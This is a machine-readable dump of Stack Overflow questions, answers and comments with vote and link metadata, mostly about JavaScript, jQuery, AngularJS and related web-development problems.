has body: Without seeing this in action in a fiddle, I can only suggest you move the removal of the hidden class to the complete function of animate $(".closeFilters").click(function(){ $("#filter-column").animate({left:'-400px'}, 600, function() { $('#results-container, #footer').removeClass('hidden-xs'); }).css('position', 'absolute'); }); Currently, you are showing the content while the animation is going on which is why you see the content right away.
upvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/25728084

http://stackoverflow.com/comment/49763141
comment on: http://stackoverflow.com/a/26226339
score: 0
type: Comment
has text: just FYI KeepRunning works only with Android: https://cordova.apache.org/docs/en/5.1.1/guide_platforms_android_config.md.html#Android%20Configuration
type: AnswerComment

http://stackoverflow.com/q/25827858
tagged with: jquery
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25832183
has comment: http://stackoverflow.com/comment/40407680
type: Question
has comment: http://stackoverflow.com/comment/40414719
linked to: http://stackoverflow.com/q/25804778
has body: I am using jQuery to prevent submitting form on clicking if amount is &lt;10 and using jQuery AJAX to update amount after every 2 seconds. If meanwhile amount > 10 then I want to re-submit the form which is already filled. I have used $("form").submit(function(e){ e.Preventdefault;}) To prevent submitting the form when amount &lt; 10 and if meanwhile amount updates to > 10 then I am unbinding the submit button and calling submit function again. $("form").unbind("submit"); $("form").submit(); But this doesnt POST the data to action URL. Here's my complete code $(document).ready(function() { var damount; var checking=0; setInterval(Call2, 3000); function Call2() { damount=$("#damount").val(); if(damount&gt;10 &amp;&amp; checking==1) { $("form").unbind('submit'); $("form").submit(); } } $("#addproject").click(function(){ checking=1; damount=$("#damount").val(); if(damount&lt;10) { $("form").submit(function(e){ e.preventDefault(); }); } });
has answer: http://stackoverflow.com/a/25832183
tagged with: javascript
score: 0
answer count: 1
has title: jQuery submit method doesnt submit form data

http://stackoverflow.com/comment/40289458
score: 1
has text: Why the downvotes? This seems a valid question about how to debug javascript.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25764270

http://stackoverflow.com/a/25737560
upvote count: 3
type: AcceptedAnswer
has body: Accessing the array In your controller, you just use: $scope.documents.push({filename: 'Another', content: 'Document'}) You can do that in any controller function because the array is a variable shared in the scope. Since it's in the scope, you can also access it in your view like so: &lt;button ng-click="documents.push({filename: 'Another', content: 'Document'})"&gt; Add document &lt;/button&gt; Usually, I'd define convenience functions for this behavior in the controller to be used in views, but in this simple example, this should do. Detecting changes in the array To watch changes in a collection, you can use $scope.$watchCollection: $scope.$watchCollection('documents', function(newDocuments, oldDocuments) { // do something when the documents array changes }); For a comparison between $watch and $watchCollection, see Scope $watch() vs. $watchCollection() In AngularJS. Note that watches can be tricky: It's not always trivial to detect changes correctly, in my experience those functions are called way more often than they should. Depending on your use-case, you might get by without any watches (Angular provides many ways to react on changes without using a single watch), and you probably shouldn't use $watch in your controllers anyway.
type: Answer
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/40241576
accepted answer of: http://stackoverflow.com/q/25737399
has comment: http://stackoverflow.com/comment/40241423
answers question: http://stackoverflow.com/q/25737399

http://stackoverflow.com/q/25744546
has body: How do we reload parent's parent in JavaScript? I tried the following code but it didn't seem to work: &lt;script&gt; function closeOnRejectSuccess(){ window.opener.parent.location.reload(); } &lt;/script&gt;
type: Question
answer count: 2
tagged with: javascript
has answer: http://stackoverflow.com/a/25744627
upvote count: 1
has comment: http://stackoverflow.com/comment/40254093
favorite count: 0
has title: Reload Parent's Parent in Javascript?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25744622
downvote count: 0
score: 1

http://stackoverflow.com/q/25793850
has comment: http://stackoverflow.com/comment/40343758
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25793922
possible better answer: http://stackoverflow.com/a/25793922
tagged with: gps
has answer: http://stackoverflow.com/a/25794144
has body: I have a function to get the GPS coordinates once map is clicked, however the result is in brackets () I need to remove the brackets function onClickCallback(event){ var str = event.latLng var Gpps = str //.replace("(",""); document.getElementById('latlng').value = Gpps; // resuts provided (in brackets) bellow not giving the gps in any format :( function onClickCallback(event){ var str = event.latLng var Gpps = str.replace("(",""); document.getElementById('latlng').value = Gpps; / NO result
upvote count: 1
accepted answer: http://stackoverflow.com/a/25794144
type: AnsweredQuestion
has title: Remove brackets with javascript
has comment: http://stackoverflow.com/comment/40344690
score: 1
has comment: http://stackoverflow.com/comment/40343729

http://stackoverflow.com/q/25779831
tagged with: websocket
tagged with: javascript
has answer: http://stackoverflow.com/a/30330023
favorite count: 0
has answer: http://stackoverflow.com/a/35902313
answer count: 4
has answer: http://stackoverflow.com/a/56055759
linked to: http://stackoverflow.com/q/31002592
has body: Let's say I have a node server started with port nn, and there is not any WebSocket service on it. And the problem is that my client trys to connect a WebSocket service to this server. Obviously, it should fail to connect to the server. But I couldn't catch this error, my client code is the following: try { this.ws = new WebSocket('ws://xxx:nn'); } catch ( e ) { fallback(); console.warn(e); } My expectation is that the fallback method gets called while connecting fails, but actually the error is not caught by the above try...catch Does anyone know how to catch the error in my usecase?
type: UnansweredQuestion
has title: How to catch `WebSocket connection to 'ws://xxx:nn' failed: Connection closed before receiving a handshake response` error?
upvote count: 86
has comment: http://stackoverflow.com/comment/61348771
has answer: http://stackoverflow.com/a/25781815
has comment: http://stackoverflow.com/comment/131630065
has comment: http://stackoverflow.com/comment/49643832
type: Question
score: 86
has comment: http://stackoverflow.com/comment/101528269
downvote count: 0

http://stackoverflow.com/q/25808271
answer count: 3
score: 3
has comment: http://stackoverflow.com/comment/40369917
downvote count: 0
has answer: http://stackoverflow.com/a/25810215
has comment: http://stackoverflow.com/comment/40369716
has comment: http://stackoverflow.com/comment/40370019
favorite count: 0
has comment: http://stackoverflow.com/comment/40370208
has comment: http://stackoverflow.com/comment/40369622
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40370114
has comment: http://stackoverflow.com/comment/40369736
has comment: http://stackoverflow.com/comment/40369814
has body: I have a JavaScript array with nested object for ex: [{id:1, position: 1}, {id:2, position: 2}, {id:3, position: 3}, {id:4, position: 4}, {id:7, position: 7}, {id:5, position: 5},{id:6, position: 6}]. This is just an example actually I have an array in my app having 100 of records. And I am trying to sort the array with JavaScript array sort method. Let say array name is myArray, so I am doing something like below: myArray.sort(function(a, b) { return a.position- b.position; }); It's working fine but it's freezing my browser. Is there any good optimized way to do the sorting.
upvote count: 3
has comment: http://stackoverflow.com/comment/40369828
has comment: http://stackoverflow.com/comment/40369681
has comment: http://stackoverflow.com/comment/40369758
type: Question
has title: JavaScript: Array sorting optimization
has comment: http://stackoverflow.com/comment/40369675
has comment: http://stackoverflow.com/comment/40369774
has comment: http://stackoverflow.com/comment/40370305
has answer: http://stackoverflow.com/a/25809501
tagged with: arrays
has comment: http://stackoverflow.com/comment/40369910
tagged with: javascript
has comment: http://stackoverflow.com/comment/40370059
tagged with: sorting
has answer: http://stackoverflow.com/a/25808529
has comment: http://stackoverflow.com/comment/40369621

http://stackoverflow.com/comment/40442186
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25847736
type: AnswerComment
has text: @myname glad to help. small 'difficult to detect' issues like this can be super frustrating.

http://stackoverflow.com/comment/40361888
type: AnswerComment
type: Comment
has text: why isn't it recommended?
comment on: http://stackoverflow.com/a/25803402
score: 0

http://stackoverflow.com/q/25723884
score: -3
possible better answer: http://stackoverflow.com/a/25723934
has comment: http://stackoverflow.com/comment/40215061
type: AnsweredQuestion
upvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40214905
has comment: http://stackoverflow.com/comment/40215429
type: Question
tagged with: http://stackoverflow.com/tag/html
answer count: 2
linked to: http://stackoverflow.com/q/20436082
has title: how can i make a javascript call from one function to another in same script
downvote count: 3
has answer: http://stackoverflow.com/a/25723934
has comment: http://stackoverflow.com/comment/40215092
has body: i want to add two number six times by looping &amp; function calling. loop execute properly but function not execute properly. here the function may not called.please help. Thanks in advance &lt;html&gt; &lt;head&gt; &lt;script type="text/javascript"&gt; var i=10; for(j=1;j&lt;=6;j++) { var x=fun(3,4); document.write(x); i++; } function fun(var i, var j) { var k=i+j; return k; } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;/body&gt; &lt;/html&gt;
has comment: http://stackoverflow.com/comment/40214975
has answer: http://stackoverflow.com/a/25724108
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25724108

http://stackoverflow.com/a/25824661
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25822913
type: Answer
has comment: http://stackoverflow.com/comment/40556707
answers question: http://stackoverflow.com/q/25822913
score: 1
upvote count: 1
has body: Here's one way: Vanilla Chocolate Strawberry Sprinkles Chocolate Dip Caramel I love ice cream with . fiddle demo P.S.: Your had a conflicting id (icecream), so I had to remove it.
type: AcceptedAnswer

http://stackoverflow.com/comment/40197485
comment on: http://stackoverflow.com/q/25714380
has text: I do not believe that `append` is needed at all.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25717331
answer count: 1
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40217641
score: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: angularjs
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40218232
has title: How to make an anchor with a div inside with a different link
has answer: http://stackoverflow.com/a/25717389
has body: I'm trying to make a card that is all clickable (the class=box) Except for one section that contains buttons which each links to different links that its parent anchor.. I don't find a way to have one link for the card and a different for a section inside. Some Text here I'm using Angular, hence the ng-clicks. Any ideas on how to sort this out? Adding a fiddle example: http://jsfiddle.net/pepepapa82/svwLh6w1/
type: Question

http://stackoverflow.com/comment/40412004
type: Comment
has text: Yeah, show the develop menu. You can also press CTRL+ALT+I. Once the Web Inspector is open then at the bottom-left is a spyglass icon, click on it and then click on where the image or nearby elements are.
comment on: http://stackoverflow.com/a/25831068
type: AnswerComment
score: 0

http://stackoverflow.com/q/25739685
score: 0
tagged with: bundling-and-minification
has title: knockout.js external model js file
has answer: http://stackoverflow.com/a/26459321
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40246849
type: Question
tagged with: asp.net-mvc
tagged with: knockout.js
tagged with: caching
answer count: 1
tagged with: javascript
has body: I have an MVC.NET app which using Knockout.js (+ knockout.mapping) to deal with some cascading dropdowns. The data for these comes from a WebAPI call to an external service. As it happens this service requires an authentication token which expires after 2 hours, so I have the MVC app put the data from the service in a System.Web.Caching.Cache and return it from there unless the token has expired where it will grab it again from the service. This is working fine. However when I need to get this to the View, I am currently using the following method, which is to have a property of the ViewModel that I assign the service/Cache data to and then do this in the view: var model = new ViewModel(@Html.Raw(Json.Encode(Model.ReferenceData))) ko.applyBindings(model); where Model.ReferenceData is the data from the service. again this is working fine, but... the thing is with this, that the page then has all that Json data dumped in it on each request. I would like to use an external JS file for the ReferenceData as then at least it can be cached by the browser and lessen the weight of the page on future requests. However, I imagine that the overhead of generating a JS file is not that small, along with – what I really need is it to generate a link to that file that changes in much the same way that the built in MVC bundling of js files works – generating a link with a querystring. My question is: is there an easy way of doing this? For sure I can, when the cache is filled that first time, generate a js file and reference that from the View, but as I say getting that to change its link each time it is refreshed – or at least working out whether the data in it has changed and updating it only then is where the problem lies. Any insight to this would be of great help Thanks Nat

http://stackoverflow.com/a/25801857
accepted answer of: http://stackoverflow.com/q/25801624
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25801624
has comment: http://stackoverflow.com/comment/40358783
has body: Changing the function to this will insert the value into the input and from there you can post it is that what your after? Keisti pavarą prie: 0 / RPM
type: Answer
has comment: http://stackoverflow.com/comment/40358837
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/40415075
comment on: http://stackoverflow.com/a/25832862
type: AnswerComment
score: 0
type: Comment
has text: Oh thank you... can i ask you something? why we need .text() when identifying var bayar?

http://stackoverflow.com/q/25842019
favorite count: 0
has body: I want to add image src from array. I am able to add it as hardcoded. Below is my code. var newDiv = "&lt;li&gt;"+names[i]+"&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;img src = a.png&gt;&lt;/img&gt; &lt;/center&gt;&lt;br&gt;"+subnames[i]+"&lt;/li&gt;"; In above code A.PNG is hardcoded. Please tell me how to add it from array images();
type: UnansweredQuestion
downvote count: 1
score: -1
has answer: http://stackoverflow.com/a/25842268
type: Question
has comment: http://stackoverflow.com/comment/40432237
has answer: http://stackoverflow.com/a/25842103
upvote count: 0
has comment: http://stackoverflow.com/comment/40432255
has comment: http://stackoverflow.com/comment/40438592
tagged with: javascript
has title: Add Image to HTML string dynamically
has answer: http://stackoverflow.com/a/25842108
answer count: 3
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25868015
has comment: http://stackoverflow.com/comment/40489233
has title: Javascript memory consumption with map() over a large set and callbacks
tagged with: performance
has comment: http://stackoverflow.com/comment/40490009
has comment: http://stackoverflow.com/comment/40489734
has comment: http://stackoverflow.com/comment/40481832
type: Question
answer count: 2
tagged with: javascript
has comment: http://stackoverflow.com/comment/40489291
score: 0
has answer: http://stackoverflow.com/a/25868966
has comment: http://stackoverflow.com/comment/40484742
has comment: http://stackoverflow.com/comment/40480308
has answer: http://stackoverflow.com/a/25870227
has comment: http://stackoverflow.com/comment/40490119
has comment: http://stackoverflow.com/comment/40489429
linked to: http://stackoverflow.com/q/6156501
has comment: http://stackoverflow.com/comment/40489169
type: UnansweredQuestion
has body: I don't even know how to properly ask this question but I have concerns about the performance (mostly memory consumption) of the following code. I am anticipating that this code will consume a lot of memory because of map on a large set and a lot of 'hanging' functions that wait for external service. Are my concerns justified here? What would be a better approach? var list = fs.readFileSync('./mailinglist.txt') // say 1.000.000 records .split("\n") .map( processEntry ); var processEntry = function _processEntry(i){ i = i.split('\t'); getEmailBody( function(emailBody, name){ var msg = { "message" : emailBody, "name" : i[0] } request(msg, function reqCb(err, result){ ... }); }); // getEmailBody } var getEmailBody = function _getEmailBody(obj, cb){ // read email template from file; // v() returns the correct form for person's name with web-based service v(obj.name, function(v){ cb(obj, v) }); }

http://stackoverflow.com/comment/40264247
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25749333
has text: How are you trying to fill in the text box? Does `IE.Document.getelementbyid("pCepNr").value = "BLAH"` simply not set the value or not show it?

http://stackoverflow.com/a/25909667
downvote count: 0
answers question: http://stackoverflow.com/q/25872698
type: Answer
has body: I found that by using var val = $("#textArea").dxTextArea("instance").option("value"); Allowed me to get the ID called textArea, which could then be used without the method/function call. So now, I could use the code: prevErrors.innerText += "\n " + today + ", " + val; to be able to get the dxTextArea's input into the data. Problem solved! :)
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25872698
score: 1
type: AcceptedAnswer

http://stackoverflow.com/q/25717586
tagged with: angularjs
type: UnansweredQuestion
score: 1
upvote count: 1
type: Question
has title: XMLHttpRequest cannot load URL. Invalid HTTP status code 400
tagged with: javascript
has answer: http://stackoverflow.com/a/32231587
has body: I have WebApi Application and one MVC5 Applicatiion.I am sending request to webApi using angularJS from MVC5 Application.But it is not working fine when I send DELETE or POST request. I am getting 'XMLHttpRequest cannot load URL. Invalid HTTP status code 400' error in Browser.But it is working fine for GET request.See the below code. Sevice call $http.delete("http://localhost:8643/api/values/1"); WebApi // DELETE api/values/5 [HttpDelete] public void Delete(int id) { var emp = employees.FirstOrDefault(x =&gt; x.ID == id); if(emp!=null) { employees.Remove(emp); } } Even I have enabled Cors in my WebApi. Can anyone please help me.
answer count: 1
downvote count: 0
tagged with: asp.net-web-api
favorite count: 0

http://stackoverflow.com/q/25791868
has body: I'm testing the jquery-steps plugin, and if I click on the Next or Previous button (on the bottom) and the window top is below the steps' div top (i.e. this happens if my browser window is just too short in height), the scroll jumps to the body top. Apparently there's no way to prevent this, I tried everything including editing the plugin code. The only thing I could do was setting a different scroll position by adding some code to the onStepChanging event: $("#steps-container").steps({ /* ... */ onStepChanging: function(event, currentIndex, priorIndex) { var top = 300; var pos = $(window).scrollTop(); if (pos &gt; top + 48) { $('body').scrollTop(top); } return true; }, labels: { /* ... */ }, onFinishing: function (event, currentIndex) { submitOrderForm(); return true; } }); Can somebody help me sorting this out? Thanks!
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40363174
has comment: http://stackoverflow.com/comment/40340428
tagged with: dom
upvote count: 4
tagged with: jquery-steps
has comment: http://stackoverflow.com/comment/40340371
downvote count: 0
tagged with: javascript
tagged with: jquery
score: 4
favorite count: 0
has answer: http://stackoverflow.com/a/25805229
possible better answer: http://stackoverflow.com/a/31401701
answer count: 3
has answer: http://stackoverflow.com/a/31401701
has comment: http://stackoverflow.com/comment/40340265
has title: jquery-steps: how to prevent page scrolling to top?
has comment: http://stackoverflow.com/comment/40340246
has answer: http://stackoverflow.com/a/66721326
has comment: http://stackoverflow.com/comment/40340414
has comment: http://stackoverflow.com/comment/40340151
accepted answer: http://stackoverflow.com/a/25805229
type: Question

http://stackoverflow.com/q/25819291
tagged with: css
has answer: http://stackoverflow.com/a/25820299
type: UnansweredQuestion
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/40391182
type: Question
has title: Prevent left div from sliding out of the browser when the browser is narrower
answer count: 1
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40390933
has comment: http://stackoverflow.com/comment/40392511
favorite count: 0
has body: I would like to it be responsive keep in mind. When dragging my browser from the right to the left. The pic div would be pushed out of the browser. Do I not have my content centered correctly? I'm not sure If I have to use media queries or not.If so I have no knowledge of it. So please be detailed for me. CSS: body { background-color: #333435; padding: 0px; margin: 0px; } .container { height: 500px; width:800px; margin: -250px 0 0 -400px; position: absolute; left:50%; top:50%; } .time { text-align: center; width: 100%; margin: auto; margin-bottom: -20px; font-family:"Avant Garde", Avantgarde, "Century Gothic", CenturyGothic, "AppleGothic", sans-serif; font-style: italic; font-size: 100px; color:#d6d6d6; padding-top: 30px; } #date { text-align: center; width: 100%; margin: auto; font-family:"Avant Garde", Avantgarde, "Century Gothic", CenturyGothic, "AppleGothic", sans-serif; color:#d6d6d7; } #main { display: block; width: 100%; height: 346px; margin-top: 35px; } .logo { background-image: url('images/logo.png'); background-repeat: no-repeat; float:left; width: 25%; height: 100%; display: block; } .portaltext { width:240px; height:34px; background-image: url('images/portal.png'); float: left; clear: both; position: relative; top: 94px; } .divider { background-color:#008000; float:left; width: 25%; height: 100%; } #loginform { background-color:#A52A2A; float:left; width: 25%; height: 100%; } HTML: Portal 12:22 PM Friday, September, 12, 2014 Screenshot:
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/a/25755849
score: 3
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40277325
answers question: http://stackoverflow.com/q/25755168
accepted answer of: http://stackoverflow.com/q/25755168
type: Answer
has body: Ember works with a one-off version of handlebars, the currently supported version is 1.3. It's available from the front page of http://emberjs.com/
upvote count: 3
has comment: http://stackoverflow.com/comment/40277284

http://stackoverflow.com/comment/40475349
score: 0
type: Comment
type: QuestionComment
has text: I didn't vote to close but it would help if you give the expected behaviour and the actual behaviour in a more descriptive way. Also see a [__Minimal__, __Complete__, and __Verifiable__ example](http://stackoverflow.com/help/mcve) or a [__Short__, __Self Contained__, Correct (__Compilable__) example](http://sscce.org/)
comment on: http://stackoverflow.com/q/25847390

http://stackoverflow.com/comment/40310832
has text: If you're coming back to the same page, you should use AJAX to submit the form instead, that way you never lose state in the first place.
comment on: http://stackoverflow.com/q/25775323
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/25766512
favorite count: 0
has answer: http://stackoverflow.com/a/25766631
type: UnansweredQuestion
tagged with: php
downvote count: 1
tagged with: internet-explorer
type: Question
answer count: 2
has body: Here's the thing: I've removed the content of my JavaScript function for tests and now it looks just like this: function media(id) { alert('IT WORKS!'); } I'm calling this function in two diferent events. The first one is the "onload" event and the second one is the "onblur" event: &lt;body onload="media()"&gt; &lt;!-- irrelevant part of the code --&gt; &lt;input type="text" readonly onBlur="if (teto(this, 100, 1)) { salva_campo('EDICAO[ALUNO_DISC][1][NOTA][0][DADOS][VALOR]', 'SALVA_NOTA', '43782', '5045', this.value); media(1); } " name="EDICAO[ALUNO_DISC][1][NOTA][0][DADOS][VALOR]" id="EDICAO[ALUNO_DISC][1][NOTA][0][DADOS][VALOR]" size="5" value="" tabindex="2" maxlength="5" onkeypress="if (event.keyCode == 13) muda_campo(1, 0);"&gt; The code works like a charm in Chrome and Firefox, but in IE the function media() is just being called by onload event. I think the problem has nothing to do with the onblur event, because the function salva_campo() works well. Any ideas about what's happening?
upvote count: 0
tagged with: javascript
score: -1
tagged with: http://stackoverflow.com/tag/c
has title: IE is not calling a function in onblur event
has comment: http://stackoverflow.com/comment/40293631
has answer: http://stackoverflow.com/a/25768401
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40266603
comment on: http://stackoverflow.com/q/25750550
type: QuestionComment
type: Comment
has text: if you just want to fetch usermodels only one then don't fetch it again in models initialize
score: 1

http://stackoverflow.com/comment/59651004
type: Comment
score: 2
comment on: http://stackoverflow.com/a/25751128
type: AnswerComment
has text: Question: Is setTimeout(callback, 0); the same as setImmediate(callback)?

http://stackoverflow.com/comment/40468961
comment on: http://stackoverflow.com/q/25862262
has text: Yes Anthony. I am getting correct values for $_REQUEST['selectrotate'];
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/40343128
type: QuestionComment
has text: The problem is in _Failed to execute 'write' on 'Document': It isn't possible to write into a document from an asynchronously-loaded external script unless it is explicitly opened. j?lang=eng&iv=4&r=10&is=60x60C&v=C%2FCulture%2FDesign%2F&n=eng&y=&_=1410456232118:34_. How to fix it (execute script asynchronously) - I don't know, but at least you can start searching from this point.
comment on: http://stackoverflow.com/q/25793398
score: 0
type: Comment

http://stackoverflow.com/q/25775794
has answer: http://stackoverflow.com/a/25775847
has comment: http://stackoverflow.com/comment/40311998
type: UnansweredQuestion
downvote count: 1
has comment: http://stackoverflow.com/comment/40312290
has body: I have written a simple app in angular, where I have encoded the json data directly into the $scope of a controller, and then I do stuff with that data. Can I have something like data.json, and send it to the client along with js and css files, which angular can then read? How would I go about doing that? Ajax is not allowed.
tagged with: http://stackoverflow.com/tag/json
type: Question
upvote count: 1
has comment: http://stackoverflow.com/comment/40311835
tagged with: javascript
tagged with: static-site
score: 0
has comment: http://stackoverflow.com/comment/40312203
answer count: 1
has comment: http://stackoverflow.com/comment/40311768
has title: How can I use a json file for a static server?
has comment: http://stackoverflow.com/comment/40311731
favorite count: 0

http://stackoverflow.com/comment/40383081
score: 0
type: Comment
has text: it definitely creates the div, that is where the green border comes from in demo. Inspect the live html in browser console, will see it
comment on: http://stackoverflow.com/a/25815134
type: AnswerComment

http://stackoverflow.com/a/66606898
has body: For me I had wildcard "*" Access-Control-Allow-Headers in web.config: <add name="Access-Control-Allow-Headers" value="*" /> This solution works for most navigators but not for Safari or IE It turned out the solution was to add manually all the custom header to the web.config: <system.webServer> <add name="Access-Control-Allow-Origin" value="https://somedomain.com" /> <add name="Access-Control-Allow-Methods" value="GET,POST,OPTIONS,PUT,DELETE" /> <add name="Access-Control-Allow-Headers" value="custom-header1, custome-header2, custome-header3" /> <system.webServer>
score: 0
answers question: http://stackoverflow.com/q/25727306
type: Answer

http://stackoverflow.com/q/25812414
has answer: http://stackoverflow.com/a/25812756
has answer: http://stackoverflow.com/a/25812521
score: 0
answer count: 3
has body: I want to run a the function check() when run is 1 and only then, the problem I have is that the check() function scrolls left and this runs the function again, How can I create a boolean and flip it whiteout the function check runs all the time? I'm sorry about the explanation it's my first question, Thankful for all help!! $( "#element" ).scrollstop(function() { run = 0 check() }); function check(){ console.log(run) if(run === 1){ $('#element').animate({ scrollLeft: '10px' }) run=0 } }
tagged with: jquery
has comment: http://stackoverflow.com/comment/40377527
has comment: http://stackoverflow.com/comment/40377533
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40377528
has answer: http://stackoverflow.com/a/25813360
has title: how to run a function on boolean value change?
type: Question
has comment: http://stackoverflow.com/comment/40377523
tagged with: javascript

http://stackoverflow.com/comment/139187503
has text: iOS works, but Android looks dose not recognize double tab.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/66515641

http://stackoverflow.com/comment/41006104
score: 0
type: Comment
has text: I was just about to say that looks like minified code ;) No problems, well it's always here for future reference :D
type: AnswerComment
comment on: http://stackoverflow.com/a/25868413

http://stackoverflow.com/comment/40341971
comment on: http://stackoverflow.com/q/25792561
score: 0
type: Comment
type: QuestionComment
has text: Which div do you want validated? All, or the last? This still makes little sense (from a UI design point of view).

http://stackoverflow.com/a/25723313
has body: Inspired by @user2864740's remark (dude, set up a name, seriously :-)). it could also be simply a required method on the objects that will participate in this system This implementation extends Object prototype to include a utility to generate unique UUID for each object. generateId implementation is taken from here. Seems to be working for objects and arrays. Object.prototype._id = function () { return this.__id || (this.__id = generateId()); function generateId() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function(c) { var r = Math.random()*16|0, v = c == 'x' ? r : (r&amp;0x3|0x8); return v.toString(16); }); } } function assert(message, test) { if (!test) { throw new Error("ASSERTION FAILED: " + message); } else { console.log("PASSED: " + message); } } var x = { name: "same" }, y = { name: "same" }, z = [], x2 = x; assert("Id is unchanging", x._id() === x._id()); assert("Id is different for different objects", x._id() !== y._id()); assert("Arrays have id too", z._id() === z._id()); assert("Id is same for same objects", x._id() === x2._id()); Live example I'm leaving this here to see if there are problems or if maybe someone has a better idea.
score: 0
answers question: http://stackoverflow.com/q/25722705
type: Answer

http://stackoverflow.com/comment/40375734
has text: So basically since `ng-controller` creates new scope this scope had `$rootScope` property created on it by angular, while for the `root-scope-value-1` the `rootScope` property was defined on `rootScope`, correct ?
comment on: http://stackoverflow.com/a/25811424
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/57424553
type: Answer
downvote count: 0
upvote count: 28
has comment: http://stackoverflow.com/comment/124309076
has body: Causes for TypeError: $(…).modal is not a function: Scripts are loaded in the wrong order. Multiple jQuery instances Solutions: In case, if a script attempt to access an element that hasn't been reached yet then you will get an error. Bootstrap depends on jQuery, so jQuery must be referenced first. So, you must be called the jquery.min.js and then bootstrap.min.js and further the bootstrap Modal error is actually the result of you not including bootstrap's javascript before calling the modal function. Modal is defined in bootstrap.js and not in jQuery. So the script should be included in this manner &lt;script src="//code.jquery.com/jquery-1.11.0.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="js/bootstrap.js"&gt;&lt;/script&gt; In case if there are multiple instances of jQuery, the second jQuery declaration prevents bootstrap.js from working correctly. so make use of jQuery.noConflict(); before calling the modal popup jQuery.noConflict(); $('#prizePopup').modal('show'); jQuery event aliases like .load, .unload or .error deprecated since jQuery 1.8. $(window).on('load', function(){ $('#prizePopup').modal('show'); }); OR try opening the modal popup directly $('#prizePopup').on('shown.bs.modal', function () { ... });
answers question: http://stackoverflow.com/q/25757968
has comment: http://stackoverflow.com/comment/101363626
score: 28

http://stackoverflow.com/comment/40674971
comment on: http://stackoverflow.com/q/25802969
score: 0
type: Comment
has text: Haha, maybe I should write it as an answer and grab the bounty! :) Have you solved the issue?
type: QuestionComment

http://stackoverflow.com/q/25810779
favorite count: 0
tagged with: angularjs
possible better answer: http://stackoverflow.com/a/25810862
accepted answer: http://stackoverflow.com/a/25811109
type: AnsweredQuestion
tagged with: angular-ui-router
score: 1
tagged with: javascript
has title: UI-router issue with transitionTo
has body: I am trying to use a route with variable parameters, that way I can use the parameters to check to which state to resolve. I have made a simplified plunker which demonstrates what I am trying to do. The problem is that the controllers of the targeted routes don't seem to be initiated. The resolves however are done. Here is the code, below is a link to the plunker: var myapp = angular.module('myapp', ["ui.router"]); myapp.config(function($stateProvider, $urlRouterProvider) { $stateProvider .state('default', { url: "/welcome", templateUrl: "def.html" }) .state('redirect', { url: "/{param1}/{param2}", params: { param1: { value: 'foo' }, param2: { value: 'bar' } }, template: '&lt;ui-view&gt;&lt;/ui-view&gt;' }) .state('redirect.first', { templateUrl: "route1.html" }) .state('redirect.second', { templateUrl: "route2.html", controller: function() { console.log('in controller'); }, resolve: { test: function($stateParams) { console.log($stateParams); return 'test'; } } }); $urlRouterProvider.otherwise('/'); }) .run(function($rootScope, $injector) { var $state = $injector.get('$state'); $rootScope.$on('$stateChangeStart', function(event, toState, toParams, fromState, fromParams) { console.log('entering state change start'); if (toState.name == 'redirect') { $state.transitionTo('redirect.second', toParams, { location: true, inherit: true, reload: true, notify: true }); } }); }); http://plnkr.co/edit/3n5D3Q3i5XHRw38WFdz3?p=preview
has answer: http://stackoverflow.com/a/25811109
type: Question
answer count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/25810862
downvote count: 0

http://stackoverflow.com/a/25719225
score: -1
answers question: http://stackoverflow.com/q/25713955
downvote count: 1
type: Answer
upvote count: 0
has body: eval takes a string of code that it executes. db.eval, according to the docs, takes a function to call and a list of parameters to pass to that function. In other words, leave off the single quotes ' here: db.eval(getAllNotes()) As for the difference between the two, the docs also state it: The helper db.eval() in the mongo shell wraps the eval command. Therefore, the helper method shares the characteristics and behavior of the underlying command with one exception: db.eval() method does not support the nolock option. Docs. Important stuff to learn things from before asking other people to do it for you.
has comment: http://stackoverflow.com/comment/40224809

http://stackoverflow.com/q/25816453
has answer: http://stackoverflow.com/a/25817356
accepted answer: http://stackoverflow.com/a/25817356
score: 0
answer count: 1
tagged with: javascript
has title: Iron Router: Pass data to client via meteor method
